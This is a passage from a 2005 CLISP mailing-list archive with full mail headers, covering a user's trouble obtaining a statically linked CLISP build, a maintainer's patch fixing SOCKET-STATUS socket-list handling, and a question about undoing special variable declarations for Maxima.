that it might take > > quite some time until > > this issue is resolved. > > > > Hence, if one has - or can produce - a static clisp, this=20 > would help me > > in the meantime..... >=20 > see http://sourceforge.net/project/showfiles.php?group_id=3D1355 Of course I know this page, and I have - by wild guess - downloaded several of the files which are listed there. Unfortunately, there seems to be nothing on this page which indicates, which of these dozens of files provide a statically linked, pre-built version of Lisp. For example, I tried the file named clisp-2.35-i686-unknown-linux-2.4.19.tar.gz but when I unpacked it, I saw that there needs to be compilation work to be done too, and this failed of course. So maybe you could tell me which of these files would get me a working clisp? Ronald From sds@gnu.org Mon Nov 07 06:41:20 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EZ8BT-0004MG-Bp for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 06:41:19 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EZ8BR-0008Fq-Vt for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 06:41:19 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jA7Eerpc013462; Mon, 7 Nov 2005 09:40:54 -0500 (EST) To: clisp-list@lists.sourceforge.net, Johan Liseborn Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <48098763-A60F-4666-B781-4BAD26AE586A@liseborn.se> (Johan Liseborn's message of "Mon, 7 Nov 2005 15:21:03 +0100") References: <48098763-A60F-4666-B781-4BAD26AE586A@liseborn.se> Mail-Followup-To: clisp-list@lists.sourceforge.net, Johan Liseborn Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Fail to reuse list-of-sockets in call to SOCKET-STATUS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 7 06:42:32 2005 X-Original-Date: Mon, 07 Nov 2005 09:39:56 -0500 > * Johan Liseborn [2005-11-07 15:21:03 +0100]: > > [5]> (socket:socket-status list-of-sockets) > > *** - SOCKET-STATUS: illegal :DIRECTION argument T > The following restarts are available: > ABORT :R1 ABORT > Break 1 [6]> please try the appended patch. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.memri.org/ http://pmw.org.il/ http://www.iris.org.il http://www.palestinefacts.org/ http://truepeace.org http://ffii.org/ When C++ is your hammer, everything looks like a thumb. --- stream.d 28 Oct 2005 09:01:37 -0400 1.541 +++ stream.d 07 Nov 2005 09:37:36 -0500 @@ -14190,10 +14190,15 @@ } else if (consp(Cdr(obj))) { /* (sock dir . place) */ *dir = check_direction(Car(Cdr(obj))); return &Cdr(Cdr(obj)); + } else { /* (sock . dir) or (server . place) */ + if (socket_server_p(*sock)) { /* (server . place) */ + *dir = DIRECTION_INPUT; + return &Cdr(obj); } else { /* (sock . dir) */ *dir = check_direction(Cdr(obj)); return NULL; } + } } else { /* sock */ *sock = obj; *dir = DIRECTION_IO; From sds@gnu.org Mon Nov 07 06:59:49 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EZ8TI-0005JP-WD for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 06:59:45 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EZ8TH-0005CW-PC for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 06:59:45 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jA7ExVfW014226; Mon, 7 Nov 2005 09:59:31 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Com MN PG P E B Consultant 3" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <6F0CB04509C11D46A54232E852E390AC44BA1D@MCHP7R6A.ww002.siemens.net> (Com MN's message of "Mon, 7 Nov 2005 15:38:11 +0100") References: <6F0CB04509C11D46A54232E852E390AC44BA1D@MCHP7R6A.ww002.siemens.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Com MN PG P E B Consultant 3" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: statically linked clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 7 07:00:16 2005 X-Original-Date: Mon, 07 Nov 2005 09:58:34 -0500 > * Com MN PG P E B Consultant 3 [2005-11-07 15:38:11 +0100]: > > Unfortunately, there seems to be nothing on this page which indicates, > which of these dozens of files provide a statically linked, pre-built > version of Lisp. For example, I tried the file named > > clisp-2.35-i686-unknown-linux-2.4.19.tar.gz > > but when I unpacked it, I saw that there needs to be compilation work > to be done too, and this failed of course. I don't know what a "statically linked" CLISP is. Sorry. I am sure someone else can help you here. If you give me ssh access to the linux box on which you need your CLISP to run and if that box has gcc 3 and glibc 2.2+, I can build CLISP for you on that machine. I charge $100/hour for this service, 1 hour minimum. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.memri.org/ http://pmw.org.il/ http://www.mideasttruth.com/ http://www.savegushkatif.org http://www.openvotingconsortium.org/ Of course, I haven't tried it. But it will work. - Isaak Asimov From mn-pg-p-e-b-consultant-3.com@siemens.com Mon Nov 07 07:23:29 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EZ8qG-0006EI-Ko for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 07:23:28 -0800 Received: from goliath.siemens.de ([192.35.17.28]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EZ8qD-0002x4-Cp for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 07:23:28 -0800 Received: from mail1.siemens.de (localhost [127.0.0.1]) by goliath.siemens.de (8.12.6/8.12.6) with ESMTP id jA7FNNpp000188 for ; Mon, 7 Nov 2005 16:23:23 +0100 Received: from mhpahx2c.ww002.siemens.net (mhpahx2c.mch.sbs.de [139.25.165.55]) by mail1.siemens.de (8.12.6/8.12.6) with ESMTP id jA7FNNcC011813 for ; Mon, 7 Nov 2005 16:23:23 +0100 Received: from MCHP7R6A.ww002.siemens.net ([139.25.131.164]) by mhpahx2c.ww002.siemens.net with Microsoft SMTPSVC(6.0.3790.0); Mon, 7 Nov 2005 16:23:23 +0100 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message-ID: <6F0CB04509C11D46A54232E852E390AC44BA22@MCHP7R6A.ww002.siemens.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: statically linked clisp Thread-Index: AcXjrMqInK1DdePFQhuSidPD1nKLgQAAKd5w From: "Com MN PG P E B Consultant 3" To: X-OriginalArrivalTime: 07 Nov 2005 15:23:23.0180 (UTC) FILETIME=[310F5EC0:01C5E3AF] X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] RE: statically linked clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 7 07:24:24 2005 X-Original-Date: Mon, 7 Nov 2005 16:23:22 +0100 > > * Com MN PG P E B Consultant 3=20 > [2005-11-07=20 > 15:38:11 +0100]: > > > > Unfortunately, there seems to be nothing on this page which=20 > indicates, > > which of these dozens of files provide a statically linked,=20 > pre-built > > version of Lisp. For example, I tried the file named > > > > clisp-2.35-i686-unknown-linux-2.4.19.tar.gz > > > > but when I unpacked it, I saw that there needs to be=20 > compilation work > > to be done too, and this failed of course. >=20 > I don't know what a "statically linked" CLISP is. Sorry. > I am sure someone else can help you here. This is easy to explain: You can link the libraries dynamically (shared libraries - those where the names typically end in .so), which gives you a small executable, but makes you dependent on the existence of=20 other libraries and is the normal way to go, and you can it link statically (libraries whose names usually end in .a), which means that you have one big, if not to say: huge, executable, which probably takes ages to load, but which is not dependent on other libraries anymore. In my case, if I link dynamically, I get an unresolved external reference. Other people on this list have pointed out to me, that this might be related to libgnu, so I have posted it on the libgnu list and, since nobody there was able to pinpoint the error on that list, I filed a bug=20 report on the matter. So in the meantime, it would help if one could send me a pre-linked binary, with as few dependencies to the outside as possible... > If you give me ssh access to the linux box on which you need=20 > your CLISP > to run=20 I would if I could, but this is neither permitted not possible (firewall). > and if that box has gcc 3 and glibc 2.2+,=20 gcc3 is here, but how can I find out the version of the installed glibc? > I can build CLISP for > you on that machine. I charge $100/hour for this service, 1=20 > hour minimum. I don't object building it on my own, and installing the necessary libraries before I do, but all attempts so far failed. Ronald From Devon@Jovi.Net Mon Nov 07 07:36:57 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EZ93I-0006hR-6C for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 07:36:56 -0800 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EZ93G-00027L-Ts for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 07:36:56 -0800 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id jA7Fa5pX042504 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 7 Nov 2005 10:36:07 -0500 (EST) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id jA7Fa4BQ042424; Mon, 7 Nov 2005 10:36:04 -0500 (EST) (envelope-from Devon@Jovi.Net) Message-Id: <200511071536.jA7Fa4BQ042424@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Mon, 07 Nov 2005 09:58:34 -0500) Subject: Re: [clisp-list] Re: statically linked clisp References: <6F0CB04509C11D46A54232E852E390AC44BA1D@MCHP7R6A.ww002.siemens.net> X-Spam-Status: No, score=-3.4 required=5.0 tests=AWL,BAYES_00,INFO_TLD, UNPARSEABLE_RELAY autolearn=no version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Mon, 07 Nov 2005 10:36:13 -0500 (EST) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 7 07:38:09 2005 X-Original-Date: Mon, 7 Nov 2005 10:36:04 -0500 (EST) From: Sam Steingold Date: Mon, 07 Nov 2005 09:58:34 -0500 I don't know what a "statically linked" CLISP is. A statically linked executable in GCC terminology is a self contained binary that does not require dynamically linked shared binaries to run, e.g., Un*x /usr/lib/lib*.so files, MS-Win *.DLL files, etc. would not be needed by a static binary. Peace --Devon PS: Gnu GCC documentation on the -static linker option: gcc.info > Invoking GCC > Link Options ... `-static' On systems that support dynamic linking, this prevents linking with the shared libraries. On other systems, this option has no effect. ... From johan@liseborn.se Mon Nov 07 11:18:09 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EZCVN-0008TF-DD for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 11:18:09 -0800 Received: from mail1.hotsip.com ([62.119.82.23] helo=mail2.hotsip.com) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EZCVL-0004RT-2M for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 11:18:09 -0800 Received: from 62.119.82.41 [62.119.82.41] by mail2.hotsip.com with XWall v3.33 ; Mon, 7 Nov 2005 20:17:52 +0100 Received: from [127.0.0.1] ([62.119.82.12]) by mailserver.hotsip.com with Microsoft SMTPSVC(5.0.2195.6713); Mon, 7 Nov 2005 20:17:53 +0100 Mime-Version: 1.0 (Apple Message framework v746.2) In-Reply-To: References: <48098763-A60F-4666-B781-4BAD26AE586A@liseborn.se> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <804DF2DF-9A76-4020-B73C-2BB0711D52D4@liseborn.se> Content-Transfer-Encoding: 7bit From: Johan Liseborn To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.746.2) X-OriginalArrivalTime: 07 Nov 2005 19:17:53.0148 (UTC) FILETIME=[F36A1BC0:01C5E3CF] X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: Fail to reuse list-of-sockets in call to SOCKET-STATUS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 7 11:18:33 2005 X-Original-Date: Mon, 7 Nov 2005 20:17:52 +0100 On Nov 7, 2005, at 15:39, Sam Steingold wrote: >> * Johan Liseborn [2005-11-07 15:21:03 +0100]: >> >> [5]> (socket:socket-status list-of-sockets) >> >> *** - SOCKET-STATUS: illegal :DIRECTION argument T >> The following restarts are available: >> ABORT :R1 ABORT >> Break 1 [6]> > > please try the appended patch. Works like a charm! (The "temporary" solution you provided also worked well, by the way.) Thanks a lot for the quick response and solution! /johan -- Johan Liseborn From rurban@x-ray.at Mon Nov 07 14:43:11 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EZFhk-0000Qy-T2 for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 14:43:08 -0800 Received: from smartmx-02.inode.at ([213.229.60.34]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EZFhg-0002Xp-Du for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 14:43:09 -0800 Received: from [62.99.252.218] (port=22941 helo=[192.168.1.2]) by smartmx-02.inode.at with esmtp (Exim 4.50) id 1EZFhX-0003oJ-RP; Mon, 07 Nov 2005 23:42:56 +0100 Message-ID: <436FD86E.6050503@x-ray.at> From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8b) Gecko/20050217 MIME-Version: 1.0 To: Com MN PG P E B Consultant 3 CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] RE: statically linked clisp References: <6F0CB04509C11D46A54232E852E390AC44BA22@MCHP7R6A.ww002.siemens.net> In-Reply-To: <6F0CB04509C11D46A54232E852E390AC44BA22@MCHP7R6A.ww002.siemens.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 7 14:43:39 2005 X-Original-Date: Mon, 07 Nov 2005 23:42:54 +0100 Com MN PG P E B Consultant 3 schrieb: > which means that you have one big, if not to > say: huge, executable, which probably takes ages to load, but which is > not dependent on other libraries anymore. Wrong. Static binaries load much faster than with .so's. > In my case, if I link dynamically, I get an unresolved external > reference. Other people on this list have pointed out to me, that this might be related to libgnu, so I > have posted it on the libgnu list and, since nobody there was able to pinpoint the error on > that list, I filed a bug report on the matter. ldd clisp -- Reini Urban http://phpwiki.org/ From pjb@informatimago.com Mon Nov 07 15:11:21 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EZG93-0001qI-IR for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 15:11:21 -0800 Received: from larissa.informatimago.com ([62.93.174.78]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EZG91-0000lK-R1 for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 15:11:21 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 5ADA55833D; Tue, 8 Nov 2005 00:10:18 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 7618558344; Tue, 8 Nov 2005 00:07:53 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 0B0AF8876; Tue, 8 Nov 2005 00:07:49 +0100 (CET) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17263.56900.988521.530790@thalassa.informatimago.com> To: Reini Urban Cc: Com MN PG P E B Consultant 3 , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] RE: statically linked clisp In-Reply-To: <436FD86E.6050503@x-ray.at> References: <6F0CB04509C11D46A54232E852E390AC44BA22@MCHP7R6A.ww002.siemens.net> <436FD86E.6050503@x-ray.at> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 7 15:12:14 2005 X-Original-Date: Tue, 8 Nov 2005 00:07:48 +0100 Reini Urban writes: > Com MN PG P E B Consultant 3 schrieb: > > which means that you have one big, if not to > > say: huge, executable, which probably takes ages to load, but which is > > not dependent on other libraries anymore. > > Wrong. Static binaries load much faster than with .so's. Depends on the usage pattern. If you must load 10 copies of the static library linked in ten different programs, it will probably be slower than loading the dynamic library once and dynamically linking it 10 times. > > In my case, if I link dynamically, I get an unresolved external > > reference. Other people on this list have pointed out to me, that > > this might be related to libgnu, so I have posted it on the libgnu > > list and, since nobody there was able to pinpoint the error on > > that list, I filed a bug report on the matter. > > ldd clisp -- "Our users will know fear and cower before our software! Ship it! Ship it and let them flee like the dogs they are!" From mn-pg-p-e-b-consultant-3.com@siemens.com Mon Nov 07 22:54:53 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EZNNd-0004Eu-HA for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 22:54:53 -0800 Received: from goliath.siemens.de ([192.35.17.28]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EZNNb-0002Zy-3G for clisp-list@lists.sourceforge.net; Mon, 07 Nov 2005 22:54:53 -0800 Received: from mail2.siemens.de (localhost [127.0.0.1]) by goliath.siemens.de (8.12.6/8.12.6) with ESMTP id jA86snas004277 for ; Tue, 8 Nov 2005 07:54:49 +0100 Received: from mhpahx2c.ww002.siemens.net (mhpahx2c.mch.sbs.de [139.25.165.55]) by mail2.siemens.de (8.12.6/8.12.6) with ESMTP id jA86snvw017010 for ; Tue, 8 Nov 2005 07:54:49 +0100 Received: from MCHP7R6A.ww002.siemens.net ([139.25.131.164]) by mhpahx2c.ww002.siemens.net with Microsoft SMTPSVC(6.0.3790.0); Tue, 8 Nov 2005 07:54:48 +0100 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [clisp-list] RE: statically linked clisp Message-ID: <6F0CB04509C11D46A54232E852E390AC44BA25@MCHP7R6A.ww002.siemens.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] RE: statically linked clisp Thread-Index: AcXj7JoLbApk+6z7Q72zglGNqDWfSAAQ0sUQ From: "Com MN PG P E B Consultant 3" To: X-OriginalArrivalTime: 08 Nov 2005 06:54:48.0959 (UTC) FILETIME=[4F9480F0:01C5E431] X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Nov 7 22:55:24 2005 X-Original-Date: Tue, 8 Nov 2005 07:54:48 +0100 =20 > Static binaries load much faster than with .so's. Thank you for correcting me here. >=20 > > In my case, if I link dynamically, I get an unresolved external > > reference. Other people on this list have pointed out to=20 > me, that this might be related to libgnu, so I > > have posted it on the libgnu list and, since nobody there=20 > was able to pinpoint the error on > > that list, I filed a bug report on the matter. >=20 > ldd clisp I know the "ldd" command, but I don't see how it can help me with my problem???? After all, I don't have a "clisp" yet - that's exactly the problem: I would like to have one.=20 BTW I also tried it with an older version (I figured since the Linux installation I'm using, is from 2003, maybe I'm safer with a respective old version of clisp). I tried the 2.32 and, after also installing a library called "PCRE", which this clisp was requiring, "make" run fine. The problems came afterwards: The installation instructions (README) say that one should run the clisp, invoke certain LISP commands (I just copied them from what the README says) and finally type (exit) which obviously means to terminate clisp - at which point I got a core dump. So this clisp seemed to be unusable too. Finally I tried to use a version (2.33) which comes in a rpm package. This didn't work neither, because it insists that files are installed below /usr/local, where I don't have write-access to. So if anyone can suggest something how I get some clisp running - even if it is an old version - I would really be glad. Ronald From raymond.toy@ericsson.com Tue Nov 08 06:37:33 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EZUbG-0007cc-Q2 for clisp-list@lists.sourceforge.net; Tue, 08 Nov 2005 06:37:26 -0800 Received: from imr1.ericy.com ([198.24.6.9]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EZUbD-0001bb-IK for clisp-list@lists.sourceforge.net; Tue, 08 Nov 2005 06:37:23 -0800 Received: from eamrcnt751.exu.ericsson.se (eamrcnt751.exu.ericsson.se [138.85.133.52]) by imr1.ericy.com (8.13.1/8.13.1) with ESMTP id jA8Eb55w025334 for ; Tue, 8 Nov 2005 08:37:05 -0600 Received: from brtps071 (brtps071.rtp.ericsson.se [147.117.93.71]) by eamrcnt751.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id WGY9PGAR; Tue, 8 Nov 2005 08:37:04 -0600 To: CLISP Mailing List From: Raymond Toy Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (daikon, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Making special variables no longer special? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 8 06:39:29 2005 X-Original-Date: Tue, 08 Nov 2005 09:37:03 -0500 Is it possible to make a special variable no longer special in clisp, via some internal function? This happens a lot in maxima where maxima declares a symbol as special, and later on in the same file, maxima wants to make that symbol no longer special. I guess the intent is that the variable is special only for the file, not for all of maxima. (Yes, the right thing to do would be to fix maxima, but that's a huge task, especially when the variable is named x or f and is used all over the source code.) Thanks, Ray From sds@gnu.org Tue Nov 08 07:10:36 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EZV7M-0001HO-0z for clisp-list@lists.sourceforge.net; Tue, 08 Nov 2005 07:10:36 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EZV7J-0002m1-D5 for clisp-list@lists.sourceforge.net; Tue, 08 Nov 2005 07:10:35 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.53.37]) by alphatech.com (8.12.11/8.12.11) with ESMTP id 